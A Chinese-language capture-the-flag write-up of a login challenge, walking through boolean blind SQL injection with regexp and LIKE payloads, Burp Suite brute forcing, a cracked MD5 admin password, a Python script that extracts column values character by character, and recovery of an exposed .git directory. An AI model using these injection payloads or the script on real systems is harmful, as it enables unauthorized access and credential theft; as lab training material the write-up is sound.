打开页面是一个登陆框:

查看源代码:

什么都发现不了,
但是这个表单中用户名密码的class有点奇怪,先记着

随便输入用户名和密码
同时打开burpsuite抓包:

用万能密码试试:

提示密码错误,但是当提交or '1' = '2时,显示的是:

猜测是个布尔型的盲注

试了很多函数不行,最后看的wp,用的是正则表达式:
username=

or user() regexp '^a' %23```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
我们用burpsuite进行盲注:
![](http://cherry-gk.oss-cn-beijing.aliyuncs.com/18-5-31/59736271.jpg)

然后字典选择`a~z,0~9,(),_`
用的都是表的常用字符,然后开始爆破:
![](http://cherry-gk.oss-cn-beijing.aliyuncs.com/18-5-31/66273786.jpg)

可以知道第一位是`u`,
一直持续下去可以发现这个列的名字就是前面表单用户名的`class`
然后密码也是,就不仔细说了,
接下来爆列:
将`user()`替换成`user_n3me`:
![](http://cherry-gk.oss-cn-beijing.aliyuncs.com/18-5-31/46135022.jpg)

继续爆破:
![](http://cherry-gk.oss-cn-beijing.aliyuncs.com/18-5-31/42315072.jpg)

可以知道第一位是b,重复这个过程就行了
最终得到
用户名:`bctf3dm1n`密码:`2bfb1532857ddc0033fdae5bde3facdf`
md5解密之后是:`adminqwe123666`

一个个爆破可以比较麻烦,这里给出c26大佬的py脚本:

import string
import requests

url = ‘http://6990a7a5194048468ddd58ba76d76945610fd134a3ad4269.game.ichunqiu.com/Challenges/login.php'
headers = {‘User-Agent’: “Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0”}
payloads = string.ascii_letters + string.digits
temp = ‘’
for i in range(40):
print(“the”+str(i)+”one”)
for p in payloads:
payload = temp + p
name = “admin’ or user_n3me like ‘{}%’ ;#”.format(payload)
data = dict(username=name, passwrod=’test’)
res = requests.post(url, headers=headers, data=data)
if (len(res.content) == 12):
temp = temp + p
print(temp.ljust(32, ‘.’))
break
`
换url和列名就行。

登陆进去之后是这个页面:

那个.bctfg1t看起来像个.git文件,试了一下:

果然是个.git文件,githack跑完之后:

接下来很明显就是还原版本了,
git cat-file -p 哈希
一直到a1开头的哈希:

出来一个文件名,我们访问他:
得到flag: